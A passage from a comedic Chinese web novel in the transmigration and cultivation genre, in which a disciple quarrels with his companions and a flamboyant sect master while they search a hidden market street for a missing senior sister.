“呜呜呜呜齐师兄呜呜呜呜你的伤口看起来好严重哦,再不治会死的吧,”上官玲珑哭得比他还凶猛,眼泪‘唰’地冲下来,完全没听进去齐舒玉的话,抬手就要放大招:“不管,玲珑一定会救你的!”
“不行,”齐舒玉心道自己真是被这个该死的女人拿捏住了,急吼吼地将她指尖抓进怀里,打断她施法,嘴巴张了关,关了张,好半晌才重复道:“不行。女人,我说不行就是不行。”
上官玲珑的清纯小鹿眼睁得更圆了,脸一下子像熟透的虾仁,眼角泪珠顺着粉白脸颊滑进微张的樱桃红唇里:“你你你你你师兄你、我我我我我、这这这不行的。”
“对的,不行!”齐舒玉正色道,翘着兰花指合拢她的手:“必要时刻只用治疗你的薛哥哥就行,少管我。”
薛殷在原文里消失了十多章,除了对齐舒玉补刀,不知道经历了什么,再出场就是魔气冲天,身上破破烂烂但看上去大放光芒的样子。
左右都是些看不到的遭遇,
独自承担一点魔兽也没问题吧!
哎。
可恶,
薛殷都要一飞冲天了!
世上还有什么比看着竞争对手崛起更令人揪心的吗!
想到这,齐舒玉不禁穷凶极恶地磨牙磨得嘎吱响,喉咙也发出低吼。
——从今天开始黑化惹!
他眼疾手快地把兰花指摁下去,举起食指,势必要在薛殷有本事前把人压榨回本:“就你了小白脸,现在过来给我包扎伤口!”
“我来吧。”
眼眸黑漆漆看着他的薛殷挑眉正要开口,云岁鸿已上前一步,握住齐舒玉的手腕,指尖亮起细碎星光,不计前嫌地温声道:“师弟,忍耐片刻便是。”
忍什么忍!
黑化了还要忍?!
齐舒玉立刻把手抽回来,大发脾气:“我不要!你少管我!”
云岁鸿微不可闻地叹了声气,
由他了。
齐舒玉登登登地跑到薛殷面前,脸上眼泪没干彻底也完全不影响他发挥霸总本质,快凝血的手指几乎戳到少年高挺的鼻尖,威风凛凛道:“没长耳朵?我现在要你给我包扎,听到没啊。”
少年沉下脸来。
偏头用两指推开他的手腕。
“小伤想必不会耽误首席巡守,”他漆黑的瞳扫过齐舒玉,垂下眼,后退转身:“弟子先行一步。”
“喂!你也敢这么跟我说话?!”齐舒玉被他一副没把人放在眼里的态度气得跳脚,追上去扯住他后领,发出桀桀毒笑声:“老子今天就要好好教训教训你!”
少年头也未回,握住剑柄的手往下一压一推,钝鞘结结实实捅在齐舒玉的大腿根上,再借力一蹬,跃出人群。
齐舒玉立刻发出惨猴惨马惨鸡惨牛叫。
他捂着大腿根转了两个圈,准确倒在上官玲珑脚边,涕泪横飞,滚来滚去哀嚎:“上官玲珑!你看看他啊!你看看!他又打我!你怎么都不管啊!”
“哎呀哎呀师兄!你——哎呀!……师兄!”上官玲珑急得话也说不出来,一个劲哎呀哎呀的小小跺脚,面对越来越近的围观群众,恨不得把脸埋进衣服里,双颊火烧火燎地差点熏出眼泪来,羞愤欲死。
普通人脸红起来只会像菜市场番茄,
她却像颗水淋淋的新鲜草莓。
蛮、蛮可爱的嘛。
齐舒玉看得心跳漏了半拍,手啊腿啊都不管了,挣扎着坐起来,闭着眼睛撅嘴道:“行吧那你要给我一个亲亲才能好哦。”
上官玲珑娇软地小小惊呼一声。
齐舒玉心里美滋滋。
女主肯定是被他这模样可爱得不要不要的。
旋即,他这张可爱得不要不要的帅脸就被人用五指捏住,两颊肉都朝中间挤去,把嘴巴推得更高耸。
“我们又见面了。”
只听一声轻笑,浓烈粉香滚滚袭来,争先恐后地钻进齐舒玉鼻子里。
齐舒玉猛然惊觉地张开眼,
一大片令人炫目的红色挡在他和上官玲珑之间。
“是你!”
他仅来得及看清来人的下巴,已吓得一拳挥上去,同时长剑呼啸着从鞘中飞了出来,绿芒大盛。然而对方只是收了手,身型未动就让他的拳头挥了个空,剑尖也失了准头,插进地上的裂缝中。
“怎么突然动手了?”
红衣男沙哑妖冶的嗓音愈发轻柔得能滴出水来,调子不疾不徐:“上次见你能说会道,不是与我相处甚欢么。”
“欢你大爷的欢,”齐舒玉看到他就记起一个月前山下历练途中的忍辱负重,遇到他,几个便宜师弟没一个能打的,人多跑又跑不掉,齐舒玉作为师兄只能挺身而出,端茶倒水按摩打猎烧烤样样都要做,关键对方还不给工资,纯纯黑奴史:“你他妈一直使唤我,不是人就能不当人了吗?”
长剑随着他勃发的怒气“噌”地从地缝中弹出来,直冲红衣人的眉心处刺去,在他唇角勾起目中无人时,立即剑尖下压,斜着朝他肚脐眼下疾驰而去。
区区男人,
哥不懂?
虽然这招伤不到红衣男分毫,但是避开的空当,正好够齐舒玉捞起上官玲珑躲到云岁鸿身后。
缩在双开门后面,
他眼底的迟疑一闪而过。
算了,
兄弟之间哪有什么仇。
红衣人终于收了笑,大片血色的艳丽花纹从衣领下暗藏之处生长出来,沿着鬓角攀爬到他眼下,恍若藤蔓。
整张脸愈发阴郁鬼魅。
“小小魔族最好识相点,别等到逼我跪下来求你离开的时候,”齐舒玉被他看得头皮发麻,指着云岁鸿道:“别怪我没警告你,墨君山坤元剑派掌门人祝岳明开山大弟子单金灵根元婴修者云岁鸿可是在我手里!杀魔狂人你知道吧我给他封的!”
上官玲珑体贴地帮瞎眼的云岁鸿实况转播:“大师兄,我们昨天在马车上提过的魔族就是他!如果你摘下眼罩,定能过不不忘的。他身着朱红色长衫,绣着金丝牡丹花,生得一副魅惑众生的极好样貌,凤眼似妖狐……”
“上官玲珑,现在不是背书的时候哈,你懂事点,”意识到事态严峻的齐舒玉把她头摁下去止住声,凑到云岁鸿耳边简明扼要道:“是个脸上会开花的人妖,你经常在外面出差,对这品种的魔族有印象吗?”
云岁鸿却罕见地挑起了眉:“魔族?他并无魔气。”
齐舒玉心里咯噔一声。
连云岁鸿都察觉不到他的魔气,
看来敌人强得可怕。
“你们二人为何如此确信他是魔族?”
上官玲珑和齐舒玉在彼此眼中看到了坚定。
“世间怎有男子美艳不似凡人?”
“不男不女看着就不像正常人!”
齐舒玉屈起指关节就磕在官玲珑脑门上:“上官玲珑你真的很没品味!把嘴给我闭上!”
上官玲珑捂头眼泪稀里哗啦,撅起嘴气得直跺脚。
“而且他还出场自带特效,”齐舒玉眼睛瞪着上官玲珑,咬着后槽牙解释道:“身上会冒出红红黄黄粉粉的烟,邪门得很。”
上官玲珑抽抽嗒嗒地嘟囔:“那日他现身,明明是美得令人过目不忘。”
她还敢说?!
真是反了她了!
齐舒玉气得两只手圈住她脖子摇晃,想把她脑子里的水都摇出来。
“咳、咳咳大师兄、咳、救我——”
她的哭腔又娇又软,无助可怜,云岁鸿作为全场男人中的男人,自然第一时间就拦下了齐舒玉的刑为,淡淡道:“师弟说的可是这个?”
他抓着齐舒玉的胳膊带到身前,唇角扬起:“有劳宗主。”
红衣人嗤笑,阴着脸在两人身上打量一眼,十分配合地扬手朝背后的人群飞了张符纸,众人哄闹一声,作鸟兽状疯狂逃窜开。
细细密密的烟红色尘雾闪着碎光,亮晶晶地在不
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远处炸开。
上官玲珑拍着手跳起来:“哇!就是这个就是这个!”
他又扔了两张。
这回是女孩子都无法抗拒的紫粉双色。
没见过世面的上官玲珑更加激动得摇头晃脑,麻雀一样叫来叫去。
齐舒玉人傻了,忽然想起那句【……此人从仙气缭绕、美轮美奂的雾中走来,眼眸深邃,旁人多看一眼都仿佛能溺死……】。
……那个合欢宗绝世美男宗主?
谁家美男长这么草率啊!
他不死心道:“棠风?”
“看来对本宗主有所耳闻。”
风中喃喃声轻如杨絮,却不容抵抗地钻进齐舒玉耳朵里。
服了,
还真是。
不过会谈恋爱的就他妈是不一样哈,出场还要搞仪式造点氛围感。
“本宗主心道是寻得知己,今日再见,实在伤透了心。”棠风不知从哪里抽了把坠着一堆挂件的折扇出来装逼,摄目勾魂的丹凤眼眯起来,颊侧藤纹愈发绚烂:“可要好好补偿本宗主才行。”
他那调子长得快拖地上了,听着就很像手上有好几条人命的变态,齐舒玉浑身狂起鸡皮疙瘩。
“你想的太美了吧,以前是以前,现在是现在,你也不在这乌水镇打听打听谁认识老子出来救场吧求求了,而且手下还有149个兵全是孬种……”
哎,
不说了。
破嘴真是太影响发挥了!
还好棠风听不懂他在说什么,自己走自己的台词:“记住,欠了本宗主的自然要还,否则,你不会想见识到本宗主的手段。”
齐舒玉合上脑子里的书。
女主在不知情的时候欠了他一条命,
和恶毒炮灰有什么关系。
他嘴角的冷笑冷到半路,余光一瞥,却见上官玲珑作捧心状,完全被蛊惑的模样。
???
齐舒玉扭头紧张地唤了她两声,“上官玲珑——上官玲珑?”
令人担心的飞机场美少女依然连个眼神变化都没有,
一脸沉浸在梦幻世界的模样。
棠风对她下手了!
意识到这点的齐舒玉心中多了丝说不清道不明的滋味,被云岁鸿紧紧抓着的手臂怎么也抽不出,只能站在原地无能大怒道:“你对这傻子做了什么?”
“你以为本宗主做了什么?”
“我怎么知道?!这不是在问你么!”
棠风勾起唇角:“那你便附耳来听。”
他若无其事扇风的样子把齐舒玉气笑了。
“呵,凭你也想单挑黑化男孩?爷爷现在就成全你。”
青年五指猛然张开,握住飞进掌心的剑柄,颈侧筋络暴起,清绿色光芒如澎湃潮水冲刷着席卷剑身,他木着脸高高举起长剑,猛力朝前方劈了下去:“受死吧,人妖!”
周遭顿时狂风大乱湖水震荡,而仅一簇金光闪过,绿芒霎时被击碎成沙,随风消散在空中。
风止。
齐舒玉脑海中的羽翼符纹同时亮起。
“师弟,棠宗主已是化神后期,连我也难与之抗衡,”云岁鸿叹息道:“他手中红霄折扇经花家三代锻造百年,若你方才一击中了,怕是会尽数而返。”
听出云岁鸿不打算出手的意思,齐舒玉气得大吼:“那他对上官玲珑用迷魂术就不管了吗?!”
“棠宗主不曾涉猎此等魔族秘术。”
“?”齐舒玉懵逼了:“那、那上官玲珑这个死样子……”
云岁鸿从容温声道:“棠宗主向来受女修们青睐。”
怎么可能!
上官玲珑只是在犯花痴?
齐舒玉回头不可思议地观察着上官玲珑眼里冒爱心的样子。
“你放屁吧,”他一口咬定道:“她不应该喜欢我这种有男人味的吗?”
于是他听见。
云岁鸿轻轻的,
笑了声。
28. 正事
“你笑是什么意思啊云岁鸿,”他笑完就下线,还拒绝了回拨,没想过脑电波通话还有拒接功能的齐舒玉被踩中尾巴似的大叫出声:“你是觉得我不像个男人吗!”
云岁鸿那张蒙眼后更像cosplay的建模帅脸也变得可憎起来,他指尖摸了摸黑布,抿唇道:“师弟,我并未这般说过。”
“云岁鸿,你变了!你当初不是这个样子的!”
齐舒玉气得跳脚,想给他一拳但找不到下手点,抖着手,剑尖对准三次才塞进了剑鞘,怨气滔天道:“我不会再和你好了除非你求我但你最好多求几次不然我下不来台的。”
他骂骂咧咧着,视线飞快瞄了眼静默的高大剑士。
“……”
“……”
齐舒玉:……
真正的心寒不是大吵大闹。
不会原谅云岁鸿了,
一秒都不!
他的大叫终于喊回了上官玲珑的魂,眼睛眨呀眨:“啊?师兄,你们在讨论什么呀。”
“还讨论什么讨论。”齐舒玉这会儿听她说话就气不打一处来,犯花痴都犯到大街上了,真是丢光他这个墨君山第一舔狗的脸了!
“巡逻忘干净了?你真是修真界里我带过最差的一届师妹!”
上官玲珑听得敢怒不敢言,两颊鼓鼓的哼他。
棠风适时翻转了扇子。
扇子上缀着的配饰叮叮当当响起,见他们看过来,慵懒地笑了声:“你们倒是将我晾着。”
上官玲珑的注意力马上转移,对着棠风脸蛋红通通地吐舌头:“棠宗主,真是抱歉错认你为魔族,你一定很难过吧,有什么需要的尽管提,我们会尽力满足的!”
呸!
还敢说什么‘我们都会满足~~’,
破女主净会胳膊肘往外拐!
齐舒玉在心里哼得比她刚刚还大声。
扇子在棠风手上装逼地舞了圈才被折拢,脸上花纹原路缩回衣领下,笑眯眯道:“那这段时日便多陪本宗主作赔罪吧。”
上官玲珑想都没想一口应下,跳到他跟前:“这没问题!”
什么没问题啊,
想到自己在她心里还不如一个有钱有势的人妖,齐舒玉心里酸得疯狂冒泡!
也不知道网文界里谁起的头,现在好了,合欢宗和龙门客栈无论在哪都是第一大连锁机构。
就该把这些有钱人写死!!!!
齐舒玉气鼓鼓地挽起云岁鸿的胳膊要走。
既然剧情改不了,不如眼不见为净,他遮住脸挡住棠风的视线,在心里把他从头到脚诅咒了一遍,正准备给这人妖和瞎眼女主腾出空间培养感情,却听云岁鸿也道:“有劳宗主同行。”
齐舒玉想也不想拒绝:“我不要。”
云岁鸿这回居然没有依他,还反过来教育他:“师弟,别闹了。”
靠!
云岁鸿也叛变了?
青年死死咬住上嘴唇,乌黑清亮的发丝垂落,额间和眉眼笼罩在一层阴翳之下,盯着脚尖不敢回头。
出现了。
导致炮灰堕落成反派的友情和爱情双重背叛大事故。
二次黑化的齐舒玉暗暗发誓。
要和全世界为敌!!
他由下至上,穷凶极恶地盯着打破了自己平静生活的家伙。
棠风面色一顿,柔媚却不失英气的柳叶眉高高挑起,眼露怪异:“你哭什么?”
“你少管!”齐舒玉咆哮着洒泪举起快愈合的手指:“我手指痛不痛和我哭没关系还不行啊?!”
棠风沙哑阴柔地笑了声:“呵,脾气不小。”
“棠宗主不必在意,”上官玲珑见怪不怪道,殷勤地扯着他袖口掉头朝街口走去:“齐师兄从小就爱哭,我们还要巡逻呢,先去与薛哥哥和邱师姐碰面吧!”
云岁鸿悠悠叹气:“棠宗主见笑了,我们随后来。”
棠风意味深长的丹凤眼微微上扬,折扇掩唇,似真似假地嗔怪道:“从前倒不曾听你提起过,有位关系不浅的师弟。”
见云岁鸿没有接话的意思,
他也无意逗留。
两人消失在街角之际,哭到已经忘记自己在哭什么了的齐舒玉脑海中有光亮起。
他喷着眼泪水先发制人道:“你最好别和我说话哇哇哇哇但你不说我就更生气!”
云岁鸿用他的低音炮笑了声。
“有棠宗主在,师弟才可放心不受魔族侵袭。”
哭抽了的齐舒玉:……等、等等。
光忙着黑化,
差点忘记正事了!
他撩起玄色长服的裙摆囫囵抹了把脸。
遇到棠风,
不就是银翼天尊今晚也要上线?
云岁鸿声音滞住:“师弟怎知银翼天尊……”
齐舒玉抓狂:“你不要再偷听我的心声了,快点退出去!凭什么你刚才可以拒绝我但是我不能拒绝你!”
云岁鸿体贴地下线了,隔着黑布掐住高挺的山根,像是帅哥在漫展碰到不讲理粉丝以至于头痛的样子解释道:“师弟,这亦是契声符弊处,我修为远高于你。”
齐舒玉‘哦’了声,还是没有当回事,鼻音浓重地理直气壮道:“那你也要问了我才能用,不然不公平!”
“听到没啊你自恋狂!”
云岁鸿默然迟疑片刻,在断断续续抽噎着的质问声中颔首。
齐舒玉满意了,
黑化暂停。
“那我们走吧。”
他把剩下的眼泪水都擦在云岁鸿衣服上,蹭得薄薄的眼皮更红了,斗志熊熊燃烧。
今天就要把在棠风那里受过的奴役,
都还给他!
棠风是男主之一,所以齐舒玉就不怕他会使用非常手段报复回来了。
这几年严打,
手段不干净的主角不允许出现在市面上。
重新找到上官玲珑和棠风时,总是爱躲起来跑酷的薛殷也跟他们汇合了,两人左右护法似的在上官玲珑旁边,而她在眉开眼笑地转着圈吃糖葫芦,画面清纯唯美,回头率奇高。
齐舒玉牙根又痒起来。
死丫头,
都说了没有挑籽的山楂不好吃!
他们并没有掩藏气息,很快就被察觉到了,三人停下步子来等。
走到跟前,薛殷视线扫过齐舒玉红肿的眼睛,眉头微蹙。
齐舒玉恍然意识到不对劲。
“我们怎么还少个人?”
上官玲珑舔着山楂外面的糖衣:“师兄你在说邱师姐么?她一个人去了胭脂铺子。”
他声音没控制住:“一个人去胭脂铺子?!”
“是呀,她去买胭脂水粉和首饰时向来都不许我跟着的,”上官玲珑放下糖葫芦,鼓着包子脸委屈道:“我也好想让她帮我挑选的。”
“她不帮,我帮。”
这话题对棠风来说是专业对口,抛起来的折扇翻转180度,将扇面捏在手中,扇柄挑起少女的下巴,狭长的丹凤眼满含柔情,轻佻道:“小美人,本宗主今天就陪你去,如何?”
上官玲珑结结巴巴地一张脸爆红。
齐舒玉把她拉开,不赞同:“女孩子画什么妆,干干净净地才好看。”
末了,看着棠风的脸勇敢补充道:“男的也是。”
棠风大笑出声,
神经病一样的笑。
总之只要对着他,齐舒玉就会接二连三起鸡皮疙瘩。
在所有人都反应过来前,他
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的袖口中猝然伸出一条九节长鞭,寒铁铸造的鞭身白雾蒸腾,卷起齐舒玉的腰拉了过来。
腰快被冻断的齐舒玉灵力才将运转,发觉已和棠风凑得极近,鼻尖快碰到鼻尖,呼吸交换,浓烈的胭粉气再次不余遗力地侵袭他全部嗅觉神经。
几乎是齐舒玉喷嚏打出来的前一秒,棠风放开了他,可不知怎么又出现在了身后,埋进齐舒玉的发丝间,轻嗅着低低笑了声:“舒玉确实干净。”
一瞬间,齐舒玉只觉得腰间寒意透进了脊梁,咄咄逼人的战栗从尾椎骨直冲天灵盖,腿一软,差点当众跌坐在地上。
热意从脖子烧到了脸颊,再从莹白耳垂烧到了捂着的双手,他逃命似地离开棠风身边,浑身发抖地站在几米以外位置破口大骂。
但翻来覆去也只有含含糊糊地“臭流氓”“神经病”“死人妖”三个词。
棠风盯着他,那双阴柔至极的丹凤眼斜斜一挑,
猩红的舌尖将唇瓣打湿。
齐舒玉霎时噤声了,有种再骂下去会倒大霉的强烈预感。
欣赏着他的惧意,
棠风又变态十足地笑了声。
齐舒玉抖得更厉害了,对棠风拉着上官玲珑往胭脂水粉铺子去再没了异议。
含泪等两人彻底离开视线,
他转头埋进云岁鸿坚硬的胸肌里:“呜呜呜呜大师兄!!!男人好可怕啊!”
云岁鸿扶着他的肩把他推开了些,属于男人中的雄鹰声把街道上其他女人听得五迷三道:“师弟,你也是男子。”
齐舒玉哼哼唧唧刚在大.胸肌前站稳,
后领就被人揪着走。
“薛殷你……”
“去水粉铺。”
少年言简意赅道,嗓音冷如清泉:“身为首席,少了名弟子自该由你负责。”
望着棠风和上官玲珑进去的化妆品一条街,齐舒玉挣扎着抗议:“我一个大猛男怎么能去那种地方?!”
薛殷冷笑了声。
“你都趴在男人怀里了,还有什么是不可的。”
“???”
齐舒玉迷迷瞪瞪起来。
……他和薛殷,讲的是一回事么?
**
这条街,从外面看着热闹。
里面,
却像是经济萧条开始后的空壳。
家家铺子都门窗紧闭,从外面看不到里面景象,并且也没有顾客在街上逗留,都是推门而入,再出来匆匆离去。不过除此之外,一路走着,沿街招牌不止挂了胭脂水粉,还有各种灵器符纸什么的,应有尽有,完全是修仙界一条街。
齐舒玉回味着刚才被水晶泥包裹拉扯的感觉。
“结界?”
云岁鸿嗯了声:“看来此街被人一分为二,平常百姓不得入内。”
“没有灵力进来不了?”齐舒玉重复着他的话,奇道:“那薛殷怎么……?薛殷人呢?”
他这才发现薛殷没有跟上,回头一看,一团透明人形正在空气中波动挣扎。
云岁鸿轻描淡写道:“似乎薛师弟遇到了些麻烦。”
身旁青年搭在他肩膀上已经笑疯了,直至笑够才走出去,怀里揽着难得窘迫的薛殷进来。
少年皮肤雪白,就算多一丝血色也如冬日红梅般扎眼,齐舒玉的笑声肆无忌惮,他困在结界处时也能模模糊糊听到些,握着剑柄的手青筋暴起,绷紧唇角,一言不发地埋头向前走。
他这样,
齐舒玉更兴奋了。
薛殷主动害羞,多新鲜啊!
“师弟?”
云岁鸿在他身后不轻不重地唤了声。
但齐舒玉压根没听见,追上去勾着薛殷的脖子,牛皮糖一样赶也赶不走地贴上去,朝他哈哈大笑。
29. 退
隐藏款街道比起肉眼能看到的外部,建筑画风要精致许多,齐舒玉好奇地环顾四周道:“上次在秘境里听薛殷说结界不是很耗费灵力么,这里也不小,而且天天24小时开着,难道造结界的人实力和申墨不相上下?”
“不必,”云岁鸿沉声解释道:“若是以符纸为媒,也可支撑。”
齐舒玉倒吸一口凉气:“那这要多少符啊?!”
“不多,”棠风不知道从哪里又冒出来,上官玲珑在他身后拎着大包小包,除了弟子服,首饰全换了个遍,脸都快笑烂了,他两手空空地走在前面,伸个懒腰云淡风轻道:“每日用的符纸仅能买下三分之一的坤元剑派罢了。”
操了。
小说男主不能是穷人吗?
“我知道,你想装个逼然后说这条街是你的吧,想看别人羡慕嫉妒恨?这种生活你过得有意思么,”齐舒玉切了声:“不如换我来过。”
棠风耸了耸肩:“天水街不在合欢宗的管辖内,本宗主再有钱,也不到这般地步。”
那就好,
齐舒玉满意了。
不希望在快乐的小说里也能见到该死的有钱人。
他才往前一步,腰上就被卷了三截鞭子,棠风浓妆艳抹的脸又出现在眼前。
“你不想知道天水街是谁的?”
“不想。”
“哦?那你是已经知晓这里的主人了?”
“不知道,知道越多死得越快懂不懂,”齐舒玉不耐烦地推开他,搞不懂一个大男人为什么跟小女生似的爱说悄悄话:“离我远点你粉都要掉我脸上了。”
“那你也敢随意走动?”棠风嗤笑一声,将他拎到角落一块落灰的牌匾前:“睁大眼睛看看清楚。”
见他话里有话,齐舒玉乖顺地蹲在牌匾前仔仔细细端详了一下,还把灰也擦了,歪七扭八的纹路显露无疑。
那牌匾异常沉重又黑得彻底,不见一丝光亮,唯有用来彰显纹路的金色格外醒目。
齐舒玉扬起白白净净的脸,眨了眨眼。
“这啥?”
棠风闻言微微怔愣。
“你不认字??”
齐舒玉点头,又摇了摇头:“简单的字当然认识。”
棠风那双邪气妖魅的丹凤眼里浮现极大震惊,看上去终于像个正常人了:“你连‘魔界’二字也不识,如何翻阅秘籍!”
“翻秘籍干嘛?”
棠风呼吸一滞:“没有秘籍你如何修练?”
齐舒玉不明白棠风在惊讶什么,
知道女主也半文盲还‘医术远超皇甫成华’的时候,他比棠风稳重多了。
“就……这么练啊。”
别人打坐他打坐,别人拿着剑做广播体操他也拿剑做,这不是很简单吗?
棠风缓缓看向身旁的白衣剑士:“他说真的?”未等云岁鸿给出反应,爱凑热闹的上官玲珑就把脑袋凑进来插话道:“咦?修练还要翻阅秘籍么?”
齐舒玉立刻找到了组织,举手指她:“对啊,你看吧。”
“你一个水火相克的双灵根也是?”棠风声音都稳不住了:“并且已是筑基?”
上官玲珑愣愣点头,紧接着满眼崇拜道:“对啊,不过宗主怎看出我是水火双灵根?宗主果然高深莫测!”
云岁鸿突然出声,像是才想到要回应棠风之前的问话,淡淡道:“师弟修练确实如此。”
不过薛殷竟也跟了嘴:“师姐亦是。”
空气有了片刻凝结。
棠风不说话了,有点自闭的样子。
“那很重要吗?”齐舒玉指着牌匾问:“所以天水街和魔界有什么关系啊!”
三个男人里两个都在装深沉,只有薛殷搭理了他一下,用那张可人的红唇吐出可怕的话。
天水街,是银翼天尊的商业地盘,分为人界与魔界。
“哈?”齐舒玉打了个激灵。
“什么!银翼天尊?!”上官玲珑很戏精地抱着肩膀倒退三步,大吸一口凉气:“那我们怎么才能逃出去!”
“出去,”棠风似是终于找回了声:“还寻你那好师姐么?”
上官玲珑小兔子一样吐吐舌头:“哦对,那我们赶快找到师姐出去吧。”
“等一下!”
齐舒玉伸手暂停他们。
“前面是魔界的话,我们是不是该从人界开始找?!”
“你们一路走来见到她了么?”
“那我们出去吧,说不定她不在这里。”
“那,万一在呢?”
齐舒玉怒了:“你跟我故意抬杠是吧!”
棠风笑了,打开折扇,扇面抚过他的脸颊,饶有趣味地打量着他瞪得溜圆水亮的双眼:“谁知道呢?”
齐舒玉挥开扇子转身朝外走:“那我去找燕问雨来。”
身后传来鞭子挥动的声音,竖着耳朵的齐舒玉正等着这种人生高光时刻呢,保持着完美背影和侧脸,灵力尽数覆在手心,帅气地一把将拽鞭子住,还不等讨点精彩掌声,紧接着就听利器穿破长空,围着他的靴子一周,死死钉了进去。
若刚才再前行一步,那些钉子就全扎他脚上了。
齐舒玉惊愕回头。
那人妖的扇子已经换了副模样,每节扇骨上都长出一截枪口,枪口上有一圈穿孔轮盘,还余有一些未发射出来的钉子嵌在孔里。
这是什么变态高科技啊?!!
棠风沙哑的声音还是那般悠闲:“若人不在里面,你拿什么与燕问雨交待。来乌水镇第一天就丢了弟子,你是首席,怎么撇清干系。”
“又不是我让她走丢的。”
“但你是首席,”
薛殷忽而接过话头,纤长的手指搭在剑柄上:“而你却不知她于何时何地走丢。”
“废话!我要知道这些消息的话她就不是丢了,是在我眼前被抓了!”
“你为何不知她行踪?”
“哪有那么多为什么,”齐舒玉双手捂着两侧头顶,高声崩溃道:“没人告诉我啊!”
薛殷点头。
他明明才十七八岁,那双漆黑如墨的眼底却藏着数不清的故事。
“没人告诉你,因为弟子们不服你。”
齐舒玉的话凝在唇边,
一句都出不来。
他觉得,那群炮灰不服他有什么关系,他又不是主角,哪有那么容易改变他们的想法,结果耳畔却听自己吐出了一句“为什么”。
“他们看得到你的退意。”
齐舒玉终于失了声。
害怕,
不正常吗?
他抱住头,
自我批评了一下。
中华好男儿从不内耗。
害怕多正常啊,况且打退堂鼓也要练习很多年的好吧,不然到哪里找这么好听的鼓声!
几人中,唯一读不懂男人的上官玲珑还嘻嘻哈哈,率先跳过了界:“师兄!反正已经到这了,先去看看嘛,我们还没去过魔界的铺子呢!”
棠风勾起唇角,扇子的风微微吹动发丝:“还不走么,若待会儿再少名女弟子,你就更难交差了。”
也是。
炮灰不见不打紧,
女主丢了可是大麻烦。
毕竟这段书里又没写。
齐舒玉不情不愿地抬起脚,撇撇嘴:“那万一……那女的真在外面呢。”
“所以动作快些,别在这里闹事,不会有什么意外的——嗯?”
棠风狐疑地歪了歪头:“怎么这般看着我?”
齐舒玉视线下移,望着被众人甩在身后的黑色牌匾。
悲从中来。
主角怎么在立Fl
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ag啊!
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“邱师姐!邱师姐!”
整条天水街空荡荡的,就听到上官玲珑银铃般的嚷嚷声,刚开始齐舒玉还让她小点声,后来想起她就是有喜欢在危险地方叫唤的设定,也不再阻止了,戒备心很重地缀在后面。
其实天水街两旁‘人界’和‘魔界’的商店表面上根本看不出区别来,以齐舒玉的水平,推门进去也察觉不到店主们的魔族气息,看来都是些上等的魔族货色。当然,最一致的是,两个种族的店长们脸上都挂着瞧不起顾客的表情。
齐舒玉随意问了个看起来像古董的破烂,那价格咂舌。
三百两银子。
小说里活着也花银子。
真是好笑。
棠风悄无声息地贴过来,在他脸旁问道:“看上了?”
齐舒玉连忙避开,凶狠地抱怨道:“你滚开点啊!把我身上都染得香香的被人闻到我还怎么当猛男啊丢脸死了!”
“想要么?”
“一般吧看着破破烂烂的万一是什么宝贝呢你给出钱吗哥?”
“不给,问问你罢了。”
齐舒玉怨气更重地走出了店。
男人真是没一个好东西!
待关上店门,棠风才折扇轻抚掌心道:“你没看错,那玩意就是破烂。魔族数千年前被下了禁令,不得踏入凡间,他们自然稀罕连平常百姓也看不上的东西。”
齐舒玉松了口气。
多亏贫穷限制了他被骗的自由。
“所以你不是故意不给我钱的吗棠哥?”齐舒玉有些感动道:“那现在能给点不?”
棠风的扇子顶着下巴,思考了下:“要多少?”
“你能给多少?十万两?一百万两?黄金?”
妆容妖冶的红衣男子丹凤眼眯成一条缝,捏着他的脸大笑起来:“小玩意儿真会狮子开口。”
齐舒玉不好意思地抿着唇,长睫毛扇了扇:“咋给啊哥哥?您是现金还是支付……支票?”
“都行,”棠风干脆利落道:“看在老熟人的份上,利息三分吧。”
听不懂三分,
但是听懂了利息。
齐舒玉也干脆利落地翻脸了:“滚吧你死人妖敢骗帅爷我从今往后你再也没办法用金钱以外的东西收买我了!”
借钱还要还?!
这是尊贵的穿越者应该听到的话吗?!
“还钱这种话你也说得出来真是抠门死了,”他用力哼哼:“你不给也会有人愿意给我钱的对吧云岁鸿!”
云岁鸿很Man很能给人安全感地‘嗯’了声。
齐舒玉背倚靠山,骄傲地抬起头:“告诉他,你可以给我多少钱还不用我还。”
云岁鸿的嗓音低沉有磁性:“白师伯交予我二十两代为保管,急需时方可使用。”
二十两????
还能拿什么乔啊!
齐舒玉捏爆了自己的拳头。
人的笑容迅速转移后可以达到翻倍效果。
——鲁迅
他在棠风惊天动地的爆笑声中红透了脸:“你不要说这么丢脸的话行不行显得我是真正的穷鬼啊难道你没钱吗就不能嘴上说说会给我吗?!”
云岁鸿迟疑了一下,道:“我仅五两银子。”
“你不是被到处派去杀魔么怎么会没有工资!”
“普通百姓的请愿甚少被弟子们看到。”
我靠!活圣公啊!
齐舒玉哪里还有怪他的心思,自责得就差扇自己两耳刮子,抱着云岁鸿的脖子当街嚎了出来:“哇哇哇大师兄,你怎么比我还穷啊,是不是经常和我这个穷鬼一起玩才变穷的!”
完蛋。
穷鬼哪有机会当男主上位!
看来还是要想办法和那个死人妖套套近乎才行。
30. 18进
“这是最后一个地方。”
上官玲珑双手叉腰,站在天水街尽头花纹繁复的红木门前,信心十足地燃烧道:“身处危难的邱师姐就在这里等这我们呢!”
齐舒玉想跪下来求她别说了。
整条街的门,无论人店还是魔店都一水儿的低调简约,就这家红得张扬,危机感已是拉满,他搂着云岁鸿的大.胸肌,颤声道:“你还没进去,别瞎说!”
上官玲珑背着他举起一根手指朝天say no,深沉道:“师兄,是玲珑心有所感,我们一起冲进去把邱师姐救出来吧!”
齐舒玉怕的就是她有感,上牙和下牙咯咯咯地打架:“不行。”
“不信?”棠风折扇哗啦一开,吊坠丁零当啷地回响在空旷街道:“一去便知。”
阳光落进他狭长明亮的凤眼,透明的琥珀色瞳仁熠熠生辉。
说实话。
这人妖要肯正经打扮一下说不定是块当男主的好料。
可惜了,
耳背。
棠风扇着风,冲上官玲珑下巴微扬:“小美人,开门。”
上官玲珑收完礼,对棠风的态度就更上一层楼了,开了门毕恭毕敬地等在旁边,待棠风走在前面才屁颠屁颠跟上,连原本捧在手心的薛殷都忘得干干净净。
贫贱夫妻百事哀。
残酷的现实映射看得齐舒玉唏嘘不已,连投向薛殷的目光都有了几分同情。
茶香终究是比不上铜臭的。
少年立即注意到了青年鬼鬼祟祟的目光,一双含水的桃花眼眯起,声音清冷:“看什么?”
“没什么,”青年锦毛鼠似的圆眼滴溜溜转,抖了抖胡须,感慨万千地摇摇头:“只是遗憾我这种搞纯爱的要想过得好除了嫁给身价上亿的富婆别无选择了唉——?”
